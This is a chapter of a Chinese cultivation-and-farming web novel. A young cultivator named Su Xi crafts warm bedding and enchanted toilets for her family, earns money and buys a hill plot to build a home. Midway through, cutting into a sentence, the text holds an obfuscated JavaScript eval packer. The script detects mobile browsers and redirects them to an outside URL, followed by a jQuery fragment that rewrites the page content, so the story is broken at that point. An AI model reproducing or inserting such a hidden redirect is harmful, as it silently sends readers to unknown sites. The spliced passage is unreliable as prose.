“你这段日子辛苦了。”收学费的管事都知道苏茜是在考核与上新的造物课程之间去打工挣钱。一个月挣出来半年学费,其实也不是多困难的事。他并不知道苏茜另外三百多灵珠其实是不到一千的金元,不然肯定骂她是笨蛋。
“不辛苦,学生喜欢有事情做。”打工赚的大都交学费了,而母亲给的灵珠用来买法术符术还有阵纹书。阵纹与她以为的阵法是两回事,倒是与符文有直接关系,本质上都是通过灵力某种形式的运转来达到一定功效,简单点说就是阵纹简单但面积大、符文复杂但体积小。感觉阵纹类似于玄幻小说里的奥术阵。
第一个成功的阵纹试验品是岛上一个小储水池。池子不仅有略显年久失修的水泥,还有岩化法术,现在多了个清洁阵纹,不让周围的泥土枯枝掉进去,但不阻碍上方掉落的雨水和尘土:第一个成功的失败品是将上方的雨水都阻止了,她不得不毁掉重新来。
倒是她将清洁阵纹用在山洞和花园小屋,效果扛扛的。最关键的是,阵纹是吸收灵气而存在。岛上灵气浓度很低,但用来维持一个消耗最小的清洁阵勉强能持续下去,最多清洁效果不佳,需要配合定期清洁术维持干净。
无所谓了,她现在在学将灵棉做成保暖效果绝好的灵绵。做成可以弄出来长期可用的被褥。
“听说早年我们这里气候暖和,还有一年两熟的谷子。”
“多早啊?”
“我祖父一辈还说曾经有过人高的大雪,雪后又是水灾,而现在好些了,至少一百年没这样的大雪了。”
“人高的雪?那怎么出门啊!”
“那时还用了雪舟和雪板。不过修士倒还好,但衣服太少或湿掉的话,修为不高就得生病。”
“是啊!又不是全家各个能抗住冬雪的。”
“那家里要不要自己种些灵木啊,冬天一块灵木能烧十几天,比普通木头强多了。”
“我的屋反正是不烧的。”
“……”
“……”
苏茜想到自己岛上一年都长不了一厘米的灵木轻摇头,“灵木长成太慢了,现在种下,能砍了烧得几十年后吧。”
“那种火灵木要百年。比我们现在用的灵棉难长多了。但谁也不会用火灵木烧暖炉取暖啊。”
“确实会冷到练气初期都会冻死的地步?”
“听说有一年冻死了十几万人,其中不少都是修为不高、又觉得自己是修士不应该保暖的。凡人倒是早早准备好木头和石火。”
“石火?那不是一般人家了。”
石火是用来锻造高级铁制品的精炼矿物,绝对不是煤。真正修士用灵器是用地火的,但仅城主府有配置地火。
“其实,我们这些练气初期也不算修士。以前得筑基才算。”
“以前还有宗门呢!”解散后什么都不是,还一直被盯住夺宝,都不如自家城主这个过去的散修。
学生们上学堂前就都不是懵懂无知的,现在聊到不能继续的话题,识相地打住,回去修炼。
造物课,苏茜仍然在甲班,前十,但没进前三。造物是个非常宽泛的概念,但涉及修炼和武.器方面的已经分到其他课程,因此默认主要针对民生,保暖自然是重要分支,就是真没什么研究这个,只有修炼不出什么的人学习并且沿袭以前的方式做下去。比如连皮革靴子里加一层绒都没想过。
好吧,加绒的靴子是凡人工业发达的产物。现在这个半修士半凡人的匠人时代,没修为的人穿不起灵兽毛皮做的靴子,而有修为的人拼命要在华氏零度的天气里穿单衣纱裙。
“那些穿彩纱的是城主府侍女。”
“幸好我母亲是女侍卫。”不需要冻得脸色发青还要显示自己的纤腰。说实话,这些侍女的修为实力比母亲低了一大截,不过长相却是高出不止一点。
“没看出来你挺有志向。”
“志向?侍卫和侍女都不是我的志向。我喜欢有一块自己的地,山林地也好,造一栋喜欢的小房子,种点喜欢的东西,没灵珠就做做工。”
“……难怪你学建筑特别认真。”但从不考建筑方面。
“我只要一栋小屋,茅房厨房都在一起,烧个火炉到处都暖和的那种。屋外种些树,冬天砍了烧。”
“……真是,好想法。”第四个来套话的同学嘴角抽搐地找别的同学试探去了。
苏茜继续在火炉附近光线好的地方看书。这里是用油灯照明的,起码四盏灯才能保证眼睛不瞎,六盏灯才适合看书,一桶灯油送一盏灯得一块金元呢,哪怕这桶油超过两公斤都让苏茜觉得贵!这些金子都够买两个不错的护眼灯用上二十年。所以除非赶时间、她都是天黑后修炼和练武。
倒是火灵木纤维做的护头护脚、可睡可坐可伸手看书游戏的睡袋,由于“创意”太别致,这个新产品就由苏茜自己用一个灵珠买下自用了。
苏茜高兴坏了。这种能扛华氏零度的轻薄透气多功能睡袋,都快赶上改良版气凝胶了。所以到手后立刻装箱,清洁符封存符加上,再放在清洁阵里。睡袋的布料也是灵木,贵着呢。一个灵珠连材料费都不够,真心是处理价了。
不过睡袋兼斗篷的创意还是被学堂直接用了。第二年的新学生连被子垫褥乃至可以睡的千绒草席都没有,整个房间就一个需要另外花费五个灵珠的睡袋,加上千绒草打坐垫子。听说侍卫营也推广多用途睡袋,省了后勤不少麻烦。
苏茜看过这些制式睡袋的样式,觉得没有自己设计的好。扭头自己买了不少骨折价火灵木材料,配合其他有贵有便宜的材料,折腾出一堆建议零售价从二到五十灵珠的保暖商品。这世界没有外观专利,她唯一得到的好处就是极低的材料支出,以及特别好找的零工工作——工钱没有半丝提高,最多是买少量自用材料能拿到进货价。
此处的自用是自家十口人用,而非她一个人用。
“我各做了十套,大家一人一套。”火灵木的垫褥和被子,厚薄各一套。她和母亲的已经用起来,其余八套加起来是个超级大的包裹,兽马大车得买相邻两个座位,重量也不比一个成年人轻,好在苏茜的实力扛着从镇上走到家没压力。不过那景象堪称惊悚,造成了小小轰动。
“这么大包裹,你怎么不找个推车。”苏成他们四位老人,包括苏力他们都惊呆了。小孙女读书和实力都比孙子强些,但在他们眼里还是比已能养家的大孙女苏明还是差了一截。因为苏英女在她的学业上已经砸了近两千灵珠,镇上一些人之前都在议论怎么学堂要念这么多年,是不是考核经常不通过只能重修。
“又不算太重。”租辆推车差不多需要一个金元,如果她去租搞不好抬价到一个灵珠外加车主“帮忙”送来,干嘛浪费这个钱。多付一笔车费已经够心疼的了。自己开始挣钱才知道十个灵珠需要耗费多少时间精力。
苏越过去试了试重量,他可以扛,但扛着走那么远的路就很难说会成什么样子,反正肯定不可能像妹妹这样一脸若无其事。
“外祖母,这些外面的布缝得都很简单,最好外面再加一层能够经常洗的布套。我没时间做,就买了些布料回来。”她这些布料质地都是相当好的,没有图案花纹绣花也花了她好几块金元,其中还有五块皮革更是五个灵珠。
“哎呀,小茜能给家里带东西了。”长辈们是欣慰的。“你母亲的你带去了吧?”
“是,带去了。”给母亲的其实是各两套、没有皮革。
苏力感受了下两种被子和褥子的温暖程度,“这都是火灵木做的?”
“对,我自己做的。不过布套不是火灵木。”
“火灵木?”
“盖上这条厚被子最冷的时候都不需要生火炉。”
“哦!”
“碰到什么事,只要有个普通帐篷,再垫块油布就可以了。披风我还没来得及做。做完了下次带回来。”
“好好!”外祖母阿林高兴地笑出满脸褶子。她是家里年纪最大、实力最低的,最冷的冬季都没法出门,上茅厕成了大问题。
不光是披风,还有面罩手套靴袜和裤筒。
苏茜研究了下,再加两个有清洁符、凝固符、祛味符的马桶——这玩意她熟啊,保证符术黑科技。
不过回到学堂,披风挺简单,马桶犯了难,尤其是凝固符不是那么用的啊!可化学试剂又不知道怎么做。结果最后折腾出来一个阵纹符文复合马桶,她自己用了,嘿嘿,还带保温功能的,可惜没法做成真正的高科技马桶盖,可在没有进水管、下水道和清洁剂的情况下,如果放外面零售,真的可以媲美黄金马桶了。
先生听完她的马桶作品介绍,表情保持空白,然后点头,给了个优减,理由是价值太高无法大范围推广。听说宇清城的富户们中间开始流行起各种科技型马桶,但如苏茜这样功能强大的就比较少见了。
也许哪天冲水马桶就成为常见品了——不可能是抽水马桶,因为没有自来水系统和下水道,连城镇生活垃圾都是自己烧了或沤肥或扔水道的。
所以苏家喝的水是从水井里打,灌溉的则是河里打水放到洒水推车里,回到地头再浇。这种推车都是苏家父子做的,只花材料费,对外则要卖一个灵珠,周边不少农家都用这个。用法术灌溉的基本没有,因为用浇水车一天能浇两亩,而练气初期用法术的话大概才一亩出头还需要额外的修炼恢复时间。
对了,她是用两个箱子装了两个马桶,请假回家帮忙农忙,因为占地略大得多付十个灵珠。好在她是直接做了高科技马桶成品寄售的,净利润挺不错。但如果想买一小块林地加上一栋小屋的材料,得做大几千只马桶……宇清城及周边还不一定有这样的购买力!她还是老老实实打工再说。
“小茜真是有心了。”祖母和外祖母两位极端喜欢苏茜孝敬的马桶。眼看就到了最冷的季节,上厕所确实是件麻烦事。
“一到积雪的时候大车就停了,我可能接下来就不回来了,到车子行走方便的时候再说。” 苏茜又给每位长辈一把灵珠作为零花钱。“家里口粮就不要卖了,万一下大雪、春季洪水就不好了。”
“怎么,你听到了什么消息?”在母亲苏英女不在的时候,祖父苏成是家里的主心骨。
“我就是听到有同学在说,一百多年前大雪积得有一人多高,雪融化了又是水灾,灵谷都烂在地里,还是当时一位前辈去外地采买来粮食才不至于饿死太多人。”
“……明白了。”这几年家里都不怎么靠卖粮的收入支撑,所以苏成手里还真的攥着半仓库的口粮。
“我会做些封存箱子。再看看怎么修仓库。”她看向大姐。
“那你只管做。收割的事我来。”苏明立刻拍板。
“好。”
家里的两个儿子郁闷地简直想撞墙,但实力这玩意放在那。比如封存符做的粮食储藏箱,苏勇压根帮不上忙。他现在只会做普通箱柜,需要密封封存的箱子根本做不来。
……
大雪已到了膝盖,对凡人家庭而言比较麻烦。城里道路上的积雪都扔进河道,城外学堂的道路上也没有积雪,往各个普通镇子的积雪铲得比较慢,都是踩着积雪走的。最主要的三条官道则每天都有铲雪,直达好几百、上千里外的其他主城范围。
苏英女也是官道铲雪的一员。女侍卫并没有特殊之处,纯粹是性别为女,城主府女眷出门也跟她们无关。因为很多场合需要女侍卫出面,所以她们做的工作甚至更麻烦。
“要不要拍晕了,省得叫个不停。”城主从不曾有好色的“事迹”,事实上他是个真正的修士,没有女人没有孩子。大家一致认为下一任城主是他的弟子之一,只是不知道哪位能活过师傅的寿命,搞不好是徒孙来继承。
“好。”女侍卫首领上去就将两名明显修炼得不行、但是长相装扮和脾气都很行的女子当场拍晕。“谁再吵也一起!”
她毫不怜香惜玉地将两名女子扔进困在雪中的兽车,然后望向使者。
“请,请诸位援手。”千里迢迢走在大雪道路上的人也是苦不堪言。他们一无大量人手,二无实力修士。还以为凭着美女钱财可以敲开宇清城城主府,但对方光是一队二十名女侍卫就让他们懵了。
三支队伍六十人一个上午分头将两百里的次干道清理出来,还跟下午替换的人手说了这个车队的来意。
“我们回去禀报。”
“好。对了,这些人怎么应付?”
“听话。不听话打昏。”
“明白!”
除了沿路碰到还好奇研究的人,整个宇清城里外压根不知道不到两千里外的地方已经沦落到最高只有练气后期修为——宇清城上一次修士筑基是在三十年前,城主的新弟子之一。
……
苏茜这样在城外学堂上学的人按部就班地修炼、学习、练习和打工。修炼课是所有学生都要上的,而且有常年答疑的修炼先生,同时也会开放各类练气初、中期法术书籍。
“记住,你们是修士,不是真的凡人木匠,建的房子也得有修炼之人的样子。”
先生教的其实就是苏家房子的简易版。其实凡人皇宫恢宏大气、人力物力财力耗费巨大,而修士的屋子,首要特征是静室,再确切一点,学堂的极简单人宿舍才是最典型的修士居所;其次是功能房屋,比如仓库和种植屋;最后才是苏茜对建筑的理解,外观造型、内部布局、装修装饰和厨卫设施等等。技术路线大相径庭,没有可比性。
所以整个造物课程苏茜就没有空闲的时候——除了修炼,其他的全部用来打工了,一个月平均能挣三百灵珠,差不多也就够买材料的,余钱都花在回家的来回交通费和带给家人礼物。
“我把房子修整一下吧。”苏茜看着漏风的茅厕、漏水的仓库以及越来越废燃料的炉子,还有其他一堆杂七杂八的。也没管长辈们同不同意,直接撸袖子上,倒是让苏成苏力父子有些尴尬。他们也是木匠呢,但造房子都是跟在后面做事、没有自己为主做过整栋建筑,毕竟他们两个的特长是打造武.器、还不怎么合格的那种。
因为将岛上花园小屋重新“加工”了一番,苏茜开始对修缮旧房子有了点心得,看到家里这土里吧唧还特别不方便的格局,就想拿来当试验,顺道设想下如果自己建房要如何做。
苏成老先生本来想打下手的,不过在看到小孙女拿了泥巴直接岩化成石头的做派,决定还是回自己地盘去。
而灵力消耗一空的苏茜则在半个时辰的修炼后突然发现,自己修为可能有了点小进益,应该是到练气中期了。
她花了三个白天三个半夜,将四亩地全部种下,还把家里的房子修缮一遍,反正外祖母超级喜欢她从两对老夫妇的屋子修往茅厕的通道,以及新做的马桶。
“小茜啊!你觉得你哥哥当马桶匠好听吗?”
“你喜欢冬天在茅厕大号?我告诉你,我吹那风没事,扛得住。你呢?会拉肚子吧,弄不好还会生病。”拉和不拉都是问题啊问题。本地几乎所有建筑包括学堂都是在室外单独建茅厕的,冬天的寒风夏天的蚊蝇就别提了。但没有冲水马桶和普及下水道的情况下,不得不如此。尤其是苏越这样高不成低
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976282|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不就的家伙,都不好意思用马桶,可也扛不住天寒地冻,更无法保持不拉撒还能活得健康。
“不是,我说,你把马桶的制作方法都给我,是让我开店铺卖这个?”
“没有马桶店,开了也是赔钱。我是让你做了在镇上摆摊。我做了什么也可以由你去卖。卖了的钱你抽一成。”这家伙在学堂时除了前几个月还混进乙班,之后及一直落在丙班,还不肯让同校同专业的妹妹帮忙,结果撑不住回家了。哦,比父亲和祖父挣扎的时间都久些。
“真的?!”苏越眼睛亮起来。妹妹满脑袋的想法,做出来的东西总是实用还没怎么见过,从来不愁卖,只愁没时间做。
“对。我总要结束学业的。”很少有人学三个专业课的,所以她打算今年结束就离开学堂专心赚钱攒钱。“但在这之前,你难道不想多点零花?不想在镇上买个小房子?”
苏越眨眨眼,“马桶匠就马桶匠!”
在父亲那边,她则是送上自己做的一个符石。“清洁符石,所以您得配好木料,最好是灵木,卖个高价。但最好是定制,不然别卖不掉砸在手里。”
“!”苏力接过有封存符的匣子,高兴地不行。符石多贵啊,通常是一块灵石加上三百到两千灵珠不等的制作费。小女儿这是补贴家里呢!“等卖掉分你灵珠!”
“行啊,这是我的练手,所以拿到钱后给我一千灵珠就行。”一千灵珠可以买一块灵石。学堂里买能便宜五十。可没几个学生能一口气买很多,大部分都是卖掉一个再买一个。
这次回家,父女俩从此明白清楚,小女儿不继承家里田地房舍,会给长辈和兄姐们帮助,但帮助不是无限的上交。
* * *
“小茜,你完成学业后想做什么?”苏英女在女儿拒绝她给的学费后问道。
“毕业前我先攒一点钱在城里买一间带静室的小房子,然后做东西卖钱。以后看有合适的山地就买下来。”
“山地?”
“对。”
“你想种灵植?”
“不,自己建栋小屋,种灵谷、灵菇、火灵木之类,平时再做些活,也就够生活了。”
“也好。”她看过家里修缮的成果,再算算城里一间屋的价格……小女儿应该能自立,因此就不用操心了。“好好学,成绩能得良我就送你一柄刀。不过刀上用的符你自己弄。”
“好的!”苏茜对这个毕业兼独立礼物相当满意。母亲送的,肯定不是外头铺子里能买到的大路货。
苏越知道后也不敢说什么。妹妹前一个符术课始终在甲班,毕业成绩良加,造物课程也是甲班、肯定也能达到良。自己这个劝退的,比不了。
“大姐学成,母亲都没给过刀。”
“大姐在镇上住的房子就是礼物。价值应该比刀高。”这位哥说这话是不过脑子还是挑拨关系还是表达不满?“你连毕业都没有,就别想礼物了。”
“……哦……”苏越立马哭丧了脸。“母亲怎么就不送个刀什么的给我。”
“二哥也没有。”
“啥?他不是有刀吗?”
“那是祖父送的。他没毕业,一样没有母亲的礼物。”
“……哦……”
苏越垂头丧气的走了。行吧,这家伙其实想要成年礼物。
苏茜摇摇头。她即使有也不能送,因为这家伙的武力值是兄弟姐妹四人中最差的!虽然将练气中期与初期放在一起比较有些不公平,但实力就是实力,自己虽然比不上母亲,但可以和大姐打个平手,同时碾压其他家人。
她最后用一个月八十灵珠的价格在城里租了个有静室的小房子,租期一年,除了修炼就是在一家熟悉的铺子里干活兼做店员,从带几种石的高级首饰盒,到可以在雪地里轻松行走的高级毛靴,卖掉就能赚一笔、卖不掉库存压力大得让店主人牙痒痒,终于下定决心让她滚蛋走人。
所以,半年后,她带着一万多灵珠和三块灵石又换了个模式:寄售。收入从一金元到一万灵珠不等——利润就不好说了,贵的有时只赚工费。要不是不想浪费房租,她真的想回镇上算了。
收入五万灵珠的是定制品,非制式短刀。苏茜不是不会制作武.器,而是她学习的都是管制品做法,而且因为没有正式上武技课而无法获得材料。现在有了店主提供的高档材料和锻造间,加上符术和剑柄上的符石,她一个人费了大半个月才做出来一柄哑光、朴素,看上去很不起眼,实际上仅次于城主府侍卫配备的短武.器。这里的一万是店主给的酬劳,售价应该是十五万左右,亦或许是非卖品。
不过这些与苏茜无关。她在房租到期时离开宇清城,只带着一个回家的普通包裹,灵珠灵石和其他杂物、铺盖、家具、书籍、粮食、材料、成品和半成品等等全部放岛上山洞,一点不像是带了全部家当的样子,根本没有引起人的注意。她常跑这条线路,几个兽车主人都认得她。
镇上变化不大,连店铺的招牌都没有换,可能在几条主要街道后的凡人住房会有变动,但街道本身甚至街上的人都没大变化。
“小茜,回来了!”苏力正巧从干活的铁匠铺后门绕出来去采买东西。
“爹。”苏茜压根没提自己回来的现实,打过招呼,婉拒了父亲让她去铁匠铺蹭饭的建议,去了与父亲方向相反的另一条街找苏越的摊位。
这家伙是隔三天来一回的,今天没出摊,那个位置是个卖吃食的推车。苏茜用鼻子闻都知道那不是灵谷灵菜做的,压根不会去碰。她在车上就吃过了自带的灵食。继续向前走,是城主府派驻镇上的堂口,牌子是宇清堂,实际上从征税到中介一条龙,尤其是上学、找工作和土地买卖,都是最实用的,也是全镇武力值最高的——不然怎么收税。
本地税收其实不算重,也没有人头税和徭役。比如家里的田地,每亩只要交一袋灵谷或是二十灵珠,但考虑到灵谷的超低产量和灵珠的购买力,纯凡人的十口之家很难拥有超过五亩的土地,往往还需要做工补贴家用,同时乞讨的人会被直接拉走为宇清城做“杂工”,因此本地的生育率始终不高——城主府补贴卖的便宜节育药物功不可没。比如店铺,则是按照位置、面积和卖的东西种类定额征收,像苏茜之前干活的店铺,一年要交十万灵珠,但比如苏茜隔几天才摆一回的马桶摊都不需要交钱,算是给普通人一点活路。这里没有房产税和遗产税,只有契约鉴证费用,所以城镇房屋的成本不高。但如果房主过世无人继承,荒废十年后会由宇清堂收回。
所以,修士主导的城主府并没有奢侈的资本。或者说,奢侈生活不适合修行与长寿。这一点从被扔出城的各地“进贡”美女就可以看出来。
“客人要看什么样的地?”
“十二万以下的。山地。”
“好,山地有几块的。”平原良田可没有这么便宜的。
店员二十不到,面部骨相和身材都挺好,但这是凡人眼里的美女,练气初期眼里的不错,练气中期修士眼里就是一堆问题的,凡人。宇清堂里新店员除了口音略不正宗,服务态度很不错。
苏茜在简易沙盘那里选了块距离家里“比较”近的小山头。那一带都是低矮丘陵,几乎可以说除了道路就是山头,土质勉强是二等林地,只有两间破败茅屋,九万多灵珠,加上税,差两百就是十万灵珠。如果租车从本镇运送建材到那边,因为是算来回的,每车大概要二十个灵珠——而如果从邻镇过去,也是差不多距离,由此可见,那个山头接近两镇交界处,位置偏、没河流,经济价值小,即使面积超过二十亩,但价格只有家里十六亩地的六成。
苏茜自己拥有过的土地加起来都没有那么大,因为此亩非彼亩,所以大概也就她这样的才会觉得那块地很适合自己。要知道这块地放了快十年都无人问津。
手续契书和界碑全部到手,都快天黑了。
苏力以为她已经回家了,所以家里人等了半天才等到她推着一车的东西回家。双轮带棚车是她在镇上买的,防风防雨,可人力可畜力,还被她加了轻身符、清洁符。
“小茜!你上哪了?你爹说你中午就到了镇上。快吃点,饿了吧?!”阿林塞给外孙女一碗温热的饭,饭上有菜还有一片肉,养殖的灵兽肉,这一片的生肉差不多就要一个灵珠,相当昂贵。
“我去宇清堂办事。等到现在才办完。”家里其他人都吃完了,就看她一个人吃。呃,还是快点塞进肚子里吧。
“啊,宇清堂?家里的地税已经交了。”
“不是,”努力扒饭,嗯,做得软硬正好的灵米,同样不便宜,跟她囤的口粮是一个价位的好货。“我这些年攒下十万灵珠,本来想买镇上的铺子,但是一直想不出能卖什么不赔钱,所以去买了块山地,种点东西自己吃用,平时一边修炼、一边做点零工过活。”
“……小茜,你晋阶了?”大姐苏明第一个反应过来。细细感应下,她发觉小妹修为扎实,底子不比自己的差。
“是。”
“……中期?”双生子三哥苏越差点跳起来。他到现在还没达到初期的顶峰!
“……真的啊!”二哥苏勇已经习惯了各种打击,好在有更加笨蛋的弟弟做衬托。
“好事啊!”苏成彻底放下孙女自作主张花光积蓄买地独立的行为,反而支持起来。练气中期,对他们这样家庭的孩子而言完全可以自立门户,或者说应该独立出去,不然一直当继承人看待的大孙女苏明就地位尴尬了。
“小茜,你娘知道吗?”苏成问了句最要紧的话。
“知道。”
11. 修士烦恼多(三)
苏茜吃得非常快。但她说的内容对全家来说影响巨大:最小的一个孩子独立出去了,这个家即将迎来更大的变化。
苏明在妹妹吃完洗漱好后找上来。
“小茜,你不用担心家里。”她从妹妹为家里修缮房屋后就察觉到了,“不用再为我们花钱了,能挣十万灵珠,还晋阶,你平时连吃饭睡觉都没时间。”
“姐,说到晋阶,我觉得是因为心无旁骛才会成功。你不妨也试试,除了修炼,只做一件事,哪怕研究厨艺。”
苏明听到最后几个字,愣了半晌。“厨艺?”
“我就是那么一说。听说以前有丹道有符道的,但现在大家也没空钻研大道。”她还想种地呢,不过那是片全开放的山头,不能种值钱的,尤其是灵植,只有城主府这样的势力在安全封闭的环境里种植才行。或者在她的岛上,但灵气浓度低,种植效果肯定很糟,也因此她只能种口粮和灵木试试。对了,自己种在岛上的火灵木近四年时间长高三厘米了——理论上,火灵木不论大小高矮都能做保暖物,不过考虑到平均不到两厘米的直径和不到十立方厘米的体积,按照扛住华氏零度的保暖效果来算,将她种的所有火灵木都砍了也只够做一件及踝披风,还得是加了保温阵纹。要不是她用极低的价格买了一大堆火灵木边角料当原材料,全家到现在都得靠凡木烧火取暖来度过比往年都要冷的寒冬——灵木披风外头店铺都是好料子好做工好价格,每件三十灵珠到三百灵珠,而且没有灵木被褥卖。
苏茜将带给大家包括还没回来的母亲的礼物一一分掉。苏越表示还能接受,因为妹妹送了他和二哥一人一柄刀,虽然及不上母亲送给妹妹的,但上头足足錾刻有六个符,全部是苏茜自己做的。苏明的是整套漂亮的黄金首饰,起码用了二十块金元,全部戴上的话确实需要练气中期修为和体能。父母和祖父母、外祖父母那里送的都是冬季长款中衣,没有任何样式可言,但用的材料虽然不厚但也是火灵木纤维制成,上面的纹路是阵纹而不是普通绣花。
另外,就是让苏越去卖的马桶了。
因为目前还是独家生意且价格压很低、加工费成本算得非常少,所以马桶卖得很好。
“……我们的价钱定得低,会做的人嫌弃赚得少,想赚的人做不来,店铺也不乐意做这不挣钱的生意,连宇清城里都有人跑来把我摊位上的全部包圆买走。嘿,我还得给他算得便宜点。”就像苏茜的同学们普遍认为的那样,费一个时辰才赚个把灵珠的低端品不高兴做,但耗费几个月时间不知道能不能卖出去的高级品也不敢做,所以那帮同学赚得都没有她多——他们消耗的时间精力和创造力也不及她。
“给钱的话我们还能送货上门。”苏茜拿出灵珠,跟苏越一比三兑换金元,后者占大便宜了。
“你给大姐做的首饰很好看,以后能卖吗?”那一层一层的造型加工,如果是凡人工匠来做,得花大半年时间吧?而且那些花的形状各异还都很漂亮,真不知道怎么想出来的。
“可以。”只要高于材料费都接。不怕赚得少,就怕没机会赚金子。“不过给大姐的那些是很沉的,你掂量了就知道,我可以卖一些讨巧的小件,用金元付账。”
“你接受金元?”
“当然!”比灵珠还接受,多多益善。不然当初花的模具钱不就浪费了。虽然那些模具按照现在来算不过“区区”五六块金元的事情,可问题是现在根本买不到啊!而且作为修士,她的力量和手法可比凡人工匠强得多。
“好。要不带符术的那种。”这样生意更做得起来了。练气初期修士卖黄金饰品,确实也只配在地摊上卖。
“那当然。给大姐的阵纹饰品是不一样的,店里买不到。”那个黄金纹样本身是防御阵纹,不是很好看但绝对实用。
“呃,是阵纹?”
“是。不是符。你搞错了,得好好看我买的那些书。”
“那书太贵,我都不舍得打开。我现在就拿来还给你。”打开也没用,看着头疼。
“……”苏茜无语地看着他匆匆跑出去,觉得这没常识的家伙居然能在造物课程撑一年多简直是奇迹!
* * *
兽马大车的主人通常拥有三到四头兽马和两辆以上的大小车辆,客运的都是两头兽马拉的大车。苏茜很快就租了一头兽马和一辆小兽车,将自己的家当搬去自己的山头,自己赶还更省。
一车是建材和树苗、农具,一车日常用品和大部分的家当,两人赶着两辆兽车去三十多里外的土地。路面还算好走,加之货物份量不算特别重,到达山角才花掉一个多时辰。苏茜出发时就付掉全部车资与租车费,比正常价格多些,条件是对方帮着自己运货上山顶。
不过,山,很矮,有没有三百英尺都不知道,而且向阳的地方是陡坡,背阳的地方是缓坡。计算面积的时候应该是没有计入陡坡的,所以实际面积比地契上的还要大。去山顶的路坑人的居然在靠近陡坡那一边,缓坡那里全部是泥地,虽然明显是有修过的,但坑坑洼洼还绕道,两个人推一辆车,费了比路上还多的时间,才将东西全部拉到茅屋前。车主也是练气中期,可想而知路况多么可怕。苏茜不想浪费灵力岩化山路,因为即使两个人一起用劲也无法清理出一条平整的车道。苏茜塞了两个灵珠当小费,要知道对方是结结实实出了大力气的。
车主看着那摇摇欲坠的茅屋,又瞅了眼运来的所谓“建材”,顿了下,“客人,要人手和东西建房子的话可以来找我。”
“好。不过我先自己试试吧,学堂里学过,弄个小屋没问题的。”还是那句,能省就省。
两个人友好道别。
而苏茜对着没有屋顶的茅屋和屋外乱七八糟的杂木林苦笑,就知道便宜无好货,但她仍然义无反顾地来了,面对危房和没有自来水的露天厕所。
身为修士,她真的不在乎房子如何。
不过现在确实需要一个灶台,不然无法解释自己吃喝什么。另外也不能随便拿出来不属于这个世界的工业品。
她先立起镇上采购的小炉子,放上锅,用法术凝了些纯净水来蒸灵谷,然后砍了些树枝来烧,加上一小把灵菜,上锅隔水蒸。蒸的水是用岛上的雨水沉淀后的水,只要不直接喝都能用。
看来得去镇上再买些耐放的吃食了。
自从开始修炼,由于食材的限制,她对食物味道的需求降到极低。
灵食与凡食是不同的东西,比化学甜味剂和有机果汁的区别更显著,因此凡食做得再好也吸引不了她。若非没有辟谷丹这种玩意——也许曾经有,但市面上是没得卖的——她真的可以做到辟谷。搬出来后,虽说食物品种更单一,但总算可以好好练斩赤龙的功法,这没法在家练,因为家里人根本不支持。
自己虽然没有痛经和妇科类问题,但经期和生育并非所有女修的选择,当然成亲生子也不是所有男修的选择。即使父母都是修士,子女也有可能终生无法修炼,纯凡人父母也可能生下资质不错的修士。如苏英女夫妇二子二女都能修炼的家庭,其实并不多,也所以苏英女在生下苏越苏茜后就用了节育手段不再生育,就是怕生下纯凡人,但即便如此,苏勇的普通农夫身份也是让大人们头疼的事:这娃即使给他买多了地会交不起地税,买少了又无法养活一家子,比较好的出路就是成亲后只生一两个能修炼的孩子,将来由亲属资助上学堂……
上述其实与苏茜无关。
她将少量的木材和隔断归拢拼接,在两个破茅屋的可用墙面之间做了个庇护所。至于茅厕,她选择回岛上,在温暖的环境里用马桶。然后在庇护所修炼一个时辰,练武半个时辰,吃掉全部剩菜剩饭后连夜洒下灵菜种子,种下灵木树苗,浇的水却是岛上的雨水跟过期也问题不大的营养液无机物配料——有机的上辈子就扔了。
这时已经天光大亮。做一天量的饭和菜——真的就是米饭加菜,酱料都没有——修炼,练武,然后回岛上研究能不能吃海鲜。
之前一直处于周围或隔壁有人的环境,她没法长时间去岛上。现在终于得到自己的时间和空间,当然第一件事就是收拾自己的小岛。
上一辈子自己卖掉农场终老于养老院,所有东西都收在里面。
清理非垃圾的事不急。
苏茜脱掉外衣,跳进海里。
小船已经不是漏水问题,而是固体垃圾的问题。她干脆沉到海底去,给动物们当家园去。
小岛周边的海里还是有不少动植物的,除了贝壳类,有一小片海带林,还有很多中小鱼类和软体动物。哦,还有类似海参海胆等的玩意。
苏茜大概测试了一下自己的潜水和游泳能力——比纯凡人强不少,可也就是一分钟和两分半的区别,不存在想象中的仙凡壁垒。
不过抓鱼本事强了很多。潜水装置是没有的,但她手里的工具却很好,加上符术加持和法术配合,看起来很平常的鱼叉硬是扎中海里一条一米多长的大鱼,扛着犹在挣扎的鱼游回岸边。
回程耗费了她大部分的体力。
看来自己应该拿个小渔网,这样在水里拖着走会轻松不少。
坐在岸上休息片刻,再将鱼开膛,用海水清洗。期间还引来其他的肉食鱼类,她顺手也抓了扔在岸边泥地里,现在没空处理。
扔了鱼鳞鱼头鱼尾,将清理好切片的鱼肚鱼背肉带回到山洞那的烧烤炉子,直接用前段时间放在那里的凡木材烧火,不加调料,先试试能不能吃。
结果是可以吃,但所含的灵气非常少,不能说是纯粹的凡食,但与满是灵气的灵兽肉相比,是一金元五斤和一灵珠一片的区别。本地不临海,所以海鱼肉应该会贵些?
苏茜加了在镇上买的“高档”调味料,别说,这调料因为是灵草做的,一灵珠才一小瓶,但口味比菜饭强。所以两条鱼用掉半个灵珠的高级调料,煎烤烹炸一起上,让苏茜吃了两天七顿才吃完。要不是调料品质过硬,她早就扔了。
水质检验箱已经坏了,但苏茜靠着对灵气的感应,选了距离自己土地比较远的一条河取水。平地用推车,上山直接拎着桶上去,顺便将脚下的坑用土系法术抚平硬化——仅仅是脚下的那一点地面。哪怕没有火山灰和其他原料,她凭着一己之力也能搞一条土水泥路!
所以每天两回取水顺便硬化山路的结果是,一个月后原来的山路就可以推着车子走,不会陷在坑里了!
而她此时迎来了第一位访客:苏英女。
“你刚才在修路?”苏英女沿路上山后停在小路尽头。
“是,得先将路修起来,才能建房子,种更多的灵木。”苏茜请母亲进自己的庇护所。
